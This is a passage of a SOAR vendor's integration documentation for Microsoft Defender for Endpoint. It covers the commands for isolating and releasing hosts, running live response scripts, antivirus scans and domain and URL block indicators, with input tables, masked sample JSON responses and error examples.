  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
        "id": "*****",
        "type": "Isolate",
        "requestor": "*****",
        "requestorComment": "Isolate machine due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:58:35.6834295Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:58:35.6834295Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": null,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
        "id": "*****",
        "type": "Isolate",
        "requestor": "*****",
        "requestorComment": "Isolate machine due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:58:35.8709227Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:58:35.8709227Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": null,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "Isolate",
        "requestor": "*****",
        "requestorComment": "Isolate machine due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:58:35.6834295Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:58:35.6834295Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "Isolate",
        "requestor": "*****",
        "requestorComment": "Isolate machine due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:58:35.8709227Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:58:35.8709227Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": *****,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Machine Ids": [
        "*****",
        "*****"
    ],
    "Record Ids": [
        "*****",
        "*****"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

ID

TYPE

REQUESTOR

REQUESTORCOMMENT

STATUS

MACHINEID

COMPUTERDNSNAME

CREATIONDATETIMEUTC

LASTUPDATEDATETIMEUTC

CANCELLATIONREQUESTOR

CANCELLATIONCOMMENT

CANCELLATIONDATETIMEUTC

ERRORHRESULT

SCOPE

EXTERNALID

REQUESTSOURCE

RELATEDFILEINFO

COMMANDS

https://api.***.com/api/***

***

Isolate

*****

Isolate machine due to alert

Pending

***

7/31/2020 12:58:35 AM

7/31/2020 12:58:35 AM

0

PublicApi

[]

https://api.***.com/api/***

***

Isolate

*****

Isolate machine due to alert

Pending

***

7/31/2020 12:58:35 AM

7/31/2020 12:58:35 AM

0

PublicApi

[]

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Quarantine Hosts failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Action is not supported for this client version.

Error Sample Data

Quarantine Hosts failed.

Status Code: 400.

Message: Action is not supported for this client version.

Run Live Response Commands

Runs a live response command on the specified device(s). Please note, this command applies to Microsoft Defender for Endpoint Plan 2.

READER NOTE

  • Machine IDs and Script Name are required parameters to run this command.

    • Run the List Hosts or Get Host By IP command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id

    • Run the List Live Response Library Files command to obtain Script Name. Script Name can be found in the raw data at the path fileName.

  • Limitations for this command:

    • Rate limitations for this API are 10 calls per minute (additional requests are responded with HTTP 429).

    • 25 concurrently running sessions (requests exceeding the throttling limit receives a "429 - Too many requests" response).

    • If the machine isn't available, the session is queued for up to three days.

    • RunScript command timeouts after 10 minutes.

    • Live response commands can't be queued up and can only be executed one at a time.

    • If the machine that you're trying to run this API call is in an RBAC device group that doesn't have an automated remediation level assigned to it, you need to at least enable the minimum Remediation Level for a given Device Group.

    • Multiple live response commands can be run on a single API call. However, when a live response command fails all the subsequent actions won't be executed.

    • Multiple live response sessions can't be executed on the same machine (if live response action is already running, subsequent requests are responded to with HTTP 400 - ActiveRequestAlreadyExists).

See  Run live response commands on a device - Microsoft Defender for Endpoint | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required/Optional

Description

Example

Machine IDs

Required

The Machine ID(s) on which to run live response commands. Machine IDs can be obtained using the List Hosts or Get Host By IP command.

[ "*****" ]

Comment

Required

The comment associated with the action.

Testing Live Response API

Script Name

Required

The PowerShell script to run. Script Name can be obtained using the List Live Response Library Files command. Please note, if you plan to use an unsigned PowerShell script in the session, you will need to enable it in the Advanced features settings page. Please refer to  Configure advanced features in Microsoft Defender for Endpoint

ListItemsInFolder_v2.ps1

Script Argument

Optional

The PowerShell script arguments. 

c:\\ProgramData\\USOPrivate

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "results": [
        {
            "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
            "id": "*****",
            "type": "LiveResponse",
            "title": null,
            "requestor": "d3devcyber",
            "requestorComment": "Testing Live Response API 927m2",
            "status": "Pending",
            "machineId": "*****",
            "computerDnsName": "lab2-dc.d3lab2.local",
            "creationDateTimeUtc": "2023-09-27T18:43:38.4710844Z",
            "lastUpdateDateTimeUtc": "2023-09-27T18:43:38.4710847Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": null,
            "requestSource": "PublicApi",
            "relatedFileInfo": null,
            "commands": [],
            "troubleshootInfo": null
        }
    ]
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "MachineActionID": ["*****"],
  "Statuses": ["Pending"]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

results

  • {'@odata.context': 'https://api.securitycenter.microsoft.com/api/*****', 'id': '*****', 'type': 'LiveResponse', 'title': None, 'requestor': 'd3devcyber', 'requestorComment': 'Testing Live Response API 927m2', 'status': 'Pending', 'machineId': '*****', 'computerDnsName': 'lab2-dc.d3lab2.local', 'creationDateTimeUtc': '2023-09-27T18:43:38.4710844Z', 'lastUpdateDateTimeUtc': '2023-09-27T18:43:38.4710847Z', 'cancellationRequestor': None, 'cancellationComment': None, 'cancellationDateTimeUtc': None, 'errorHResult': 0, 'scope': None, 'externalId': None, 'requestSource': 'PublicApi', 'relatedFileInfo': None, 'commands': [], 'troubleshootInfo': None}

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Run Live Response Commands failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 403.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Missing application roles. API required roles: Machine.LiveResponse, application roles: Ti.ReadWrite,Ti.Read.All,Ti.ReadWrite.All,Alert.Read.All,Alert.ReadWrite.All.

Error Sample Data

Run Live Response Commands failed.

Status Code: 403.

Message: Missing application roles. API required roles: Machine.LiveResponse, application roles: Ti.ReadWrite,Ti.Read.All,Ti.ReadWrite.All,Alert.Read.All,Alert.ReadWrite.All.

Scan Hosts

Initiates Microsoft Defender Antivirus scan on the device.

READER NOTE

  • The parameter Hosts is required to run this command.

    • Run the List Hosts or Get Host By IP command to obtain Hosts. For both the List Hosts and Get Host By IP command, Hosts can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • Rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Run antivirus scan API | Microsoft Learn from Microsoft’s documentation for more details.

  • The ScanType input parameter defines one of the following types of scans to perform:

    • Quick: Performs a quick scan on the device

    • Full: Performs a full scan on the device

Alert

  • This action is available for devices on Windows 10 (version 1709 or later), and Windows 11.

  • A Microsoft Defender Antivirus (Microsoft Defender AV) scan can run alongside other antivirus solutions, regardless if Microsoft Defender Antivirus is the active antivirus solution. Microsoft Defender Antivirus can be running in Passive mode. For more information, see Microsoft Defender Antivirus compatibility from Microsoft’s documentation.

Input

Input Parameter

Required /Optional

Description

Example

Hosts

Required

The machine IDs of the hosts to initiate an antivirus scan. Hosts can be obtained using the List Hosts or Get Host By IP command.

["*****","*****"]

Comment

Optional

A comment associated with the action.

Check machine for viruses due to alert

Scan Type

Required

The scan type (i.e., Quick or Full) to perform. The default value is Quick.

Full

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "RunAntiVirusScan",
        "requestor": "*****",
        "requestorComment": "Check machine for viruses due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T16:33:24.8140926Z",
        "lastUpdateDateTimeUtc": "2020-07-31T16:33:24.8140926Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "RunAntiVirusScan",
        "requestor": "*****",
        "requestorComment": "Check machine for viruses due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T16:33:25.0328415Z",
        "lastUpdateDateTimeUtc": "2020-07-31T16:33:25.0328415Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api***",
        "id": "*****",
        "type": "RunAntiVirusScan",
        "requestor": "*****",
        "requestorComment": "Check machine for viruses due to alert",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T16:33:24.8140926Z",
        "lastUpdateDateTimeUtc": "2020-07-31T16:33:24.8140926Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "51ab37b8-8fe1-435a-9ca9-f6707584babc",
        "type": "RunAntiVirusScan",
        "requestor": "*****",
        "requestorComment": "Check machine for viruses due to alert",
        "status": "Pending",
        "machineId": "7d96c8c95aae24cf41261e7476ee99addd2e205c",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T16:33:25.0328415Z",
        "lastUpdateDateTimeUtc": "2020-07-31T16:33:25.0328415Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Machine Ids": [
        "*****",
        "*****"
    ],
    "Record Ids": [
        "*****",
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

ID

TYPE

REQUESTOR

REQUESTORCOMMENT

STATUS

MACHINEID

COMPUTERDNSNAME

CREATIONDATETIMEUTC

LASTUPDATEDATETIMEUTC

CANCELLATIONREQUESTOR

CANCELLATIONCOMMENT

CANCELLATIONDATETIMEUTC

ERRORHRESULT

SCOPE

EXTERNALID

REQUESTSOURCE

RELATEDFILEINFO

COMMANDS

https://api.***.com/api/***

***

RunAntiVirusScan

***

Check machine for viruses due to alert

Pending

***

7/31/2020 4:33:24 PM

7/31/2020 4:33:24 PM

0

PublicApi

[]

https://api.***.com/api/***

***

RunAntiVirusScan

***

Check machine for viruses due to alert

Pending

***

7/31/2020 4:33:25 PM

7/31/2020 4:33:25 PM

0

PublicApi

[]

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Scan Hosts failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Machine XXX was not found.

Error Sample Data

Scan Hosts failed.

Status Code: 404.

Message: Machine XXX was not found.

Submit Indicator

Updates an indicator.

READER NOTE

  • Indicator Value is a required parameter to run this command.

    • Run the List Indicator command to obtain the Indicator Value. Indicator Values can be found in the raw data at the path $.value[*].indicatorValue.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • There is a limit of 15,000 active indicators per tenant.

  • If you leave some parameters empty, any existing values will still be kept. If optional parameters are left undefined with previously existing values, those values will also be kept.

Input

Input Parameter

Required /Optional

Description

Example

Indicator Value

Required

The identity of the Indicator entity to update. Indicator Values can be obtained using the List Indicator command.

d3security.com 

Indicator Type

Required

The updated type of the indicator. The available indicator types are FileSha1, FileMd5, CertificateThumbprint, FileSha256, IpAddress, DomainName and Url.

DomainName 

Action

Required

The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.

AlertAndBlock 

Application

Optional

The updated application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator. 

demo-test 

Title

Required

The updated indicator alert title.

test 

Description

Required

The updated description of the indicator. 

test 

Expiration Time

Optional

The updated expiration time of the indicator. For example, 2022-12-12T00:00:00Z.

2022-12-12T00:00:00Z

Severity

Optional

The updated severity of the indicator. The available input options are Informational, Low, Medium, and High.

Informational 

Recommended Actions

Optional

The updated recommended actions for the indicator alert.

nothing 

rbac Group Names

Optional

A comma-separated list of updated RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure. 

RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

["group1", "group2"] 

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "***",
    "indicatorValue": "d3security.com",
    "indicatorType": "DomainName",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-12T22:33:30.7074134Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-13T22:16:05.8903253Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "indicatorValue": "https://*****.com/***",
    "indicatorType": "DomainName",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-12T22:33:30.7074134Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-13T22:16:05.8903253Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "*****",
    "certificateInfo": null
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "ID": *******
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/***

id

*****

indicatorValue

https://*****.com/***

indicatorType

DomainName

action

AlertAndBlock

createdBy

*****

severity

Informational

category

1

application

demo-test

educateUrl

bypassDurationHours

title

test

description

test

recommendedActions

nothing

creationTimeDateTimeUtc

4/12/2021 10:33:30 PM

expirationTime

12/12/2022 12:00:00 AM

lastUpdateTime

4/13/2021 10:08:56 PM

lastUpdatedBy

*****

rbacGroupNames

rbacGroupIds

notificationId

notificationBody

version

mitreTechniques

historicalDetection

False

lookBackPeriod

generateAlert

False

additionalInfo

createdByDisplayName

d3cyebr

externalId

createdBySource

PublicApi

certificateInfo

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Update Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.

Error Sample Data

Update Indicator failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.

Submit URL Indicators

Create new or update existing URL Indicator(s) with different action and alert settings. This command can be used to block, allow, audit or warn about specified URLs. Microsoft Defender for Endpoint will evaluate the command parameters and decide whether to create new indicators or update the existing ones.

READER NOTE

Input

Input Parameter

Required/Optional

Description

Example

URLs

Required

The URLs used to create new or update existing URL indicators. There can be a maximum of 100 URLs; any additional URLs will be deleted.

[

"https://www.examples.com", "https://www.malware.com"

]

Action

Required

The action to be taken when the indicator is detected within the organization. The available actions are Allow, Audit, Warn, and Block Execution.

Block Execution

Application

Optional

The application associated with the new indicators only. This parameter applies to the submission of new URL indicators, and will not update the application value of existing indicators.

demo-block

Alert Title

Optional

The URL indicator alert title.

Block the URLs

Description

Required

The description of the URL indicator.

Malware sites

Expiration Time 

Optional

The expiration UTC time of the URL indicator. When not specified, the indicator will be Never Expired. Once an expired time is set, it cannot be changed back to Never Expired.

2024-07-29 00:00

Generate Alert

Optional

The choice for whether to generate an alert for the URL block indicators. The default value is False. When the action parameter is set to Allow, this parameter will automatically be set to False. When the action parameter is set to Audit, the Generate Alert parameter will be automatically set to True. 

False

Alert Severity 

Optional

The severity level of the alert for the URL indicator. Possible values are Informational, Low, Medium, and High. If not specified, the default value is Informational.

Informational

Recommended Actions 

Optional

The recommended actions for addressing the indicator alert.

Action suggested

Device Groups Scope

Optional

The comma-separated list of updated RBAC group names to which the indicator will be applied. The input RBAC device groups are where the indicator will be exposed and active. Indicators created for certain target groups will be exposed to all devices in the group. Leave this parameter empty to avoid unwanted access exposure. RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

["UnassignedGroup","Lab1Group", "group1"]

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "Results": [
        {
            "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
            "id": "*****",
            "indicatorValue": "https://www.examples.com",
            "indicatorType": "Url",
            "action": "Block",
            "createdBy": "*****",
            "severity": "Medium",
            "category": null,
            "application": "demo-block",
            "educateUrl": null,
            "bypassDurationHours": null,
            "title": "Block the URLs",
            "description": "Malware sites",
            "recommendedActions": "Don't click",
            "creationTimeDateTimeUtc": "2024-05-15T06:25:36.0178083Z",
            "expirationTime": "2024-05-16T01:47:00Z",
            "lastUpdateTime": "2024-05-15T06:25:36.0178083Z",
            "lastUpdatedBy": null,
            "rbacGroupNames": [
                "UnassignedGroup",
                "Lab1Group",
                "group1"
            ],
            "rbacGroupIds": [
                *****,
                *****,
                *****
            ],
            "notificationId": null,
            "notificationBody": null,
            "version": null,
            "mitreTechniques": [],
            "historicalDetection": false,
            "lookBackPeriod": null,
            "generateAlert": false,
            "additionalInfo": null,
            "createdByDisplayName": "202405-Test",
            "externalId": null,
            "createdBySource": "PublicApi",
            "certificateInfo": null,
            "SubmitType": "Created"
        },
        {
            "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
            "id": "*****",
            "indicatorValue": "https://www.malware.com",
            "indicatorType": "Url",
            "action": "Block",
            "createdBy": "*****",
            "severity": "Medium",
            "category": 1,
            "application": "demo-block",
            "educateUrl": null,
            "bypassDurationHours": null,
            "title": "Block the URLs",
            "description": "Malware sites",
            "recommendedActions": "Don't click",
            "creationTimeDateTimeUtc": "2024-05-15T06:21:47.4541723Z",
            "expirationTime": "2024-05-16T01:47:00Z",
            "lastUpdateTime": "2024-05-15T06:25:37.8687402Z",
            "lastUpdatedBy": "*****",
            "rbacGroupNames": [],
            "rbacGroupIds": [
                *****,
                *****,
                *****
            ],
            "notificationId": null,
            "notificationBody": null,
            "version": null,
            "mitreTechniques": [],
            "historicalDetection": false,
            "lookBackPeriod": null,
            "generateAlert": false,
            "additionalInfo": null,
            "createdByDisplayName": "202405-Test",
            "externalId": null,
            "createdBySource": "PublicApi",
            "certificateInfo": null,
            "SubmitType": "Updated"
        }
    ],
    "D3Errors": []
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "IndicatorIDs": ["*****","*****"],
  "IndicatorValues": ["https://www.examples.com","https://www.malware.com"],
  "IndicatorActions": ["Block","Block"],
  "GenerateAlerts": [false,false],
  "SubmitTypes": ["Created","Updated"]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

URL Indicator

Action

Submit Type

https://www.examples.com

Block

Created

https://www.malware.com

Block

Updated

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Submit URL Indicators failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The parameter Expiration Time should be set to a future date time.

Error Sample Data

Submit URL Indicators failed.

Status Code: 400.

Message: The parameter Expiration Time should be set to a future date time.

Unquarantine Hosts

Undoes the isolation of the specified host(s).

READER NOTE

  • The parameter Hosts is required to run this command.

    • Run the List Hosts or Get Host By IP command to obtain Hosts. For both the List Hosts and Get Host By IP command, Hosts can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Release device from isolation API from Microsoft’s documentation for more details.

Warning

The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot unisolate a device that has already been isolated. If you do so, an error will return.

Input

Input Parameter

Required /Optional

Description

Example

Hosts

Required

TThe machine IDs of the hosts to unquarantine. Hosts can be obtained using the List Hosts or Get Host By IP command.

["*****","*****"]

Comment

Required

A comment associated with the action.

Unisolate machine since it was clean and validated

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "Unisolate",
        "requestor": "*****",
        "requestorComment": "Unisolate machine since it was clean and validated",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:59:02.7768376Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:59:02.7768376Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
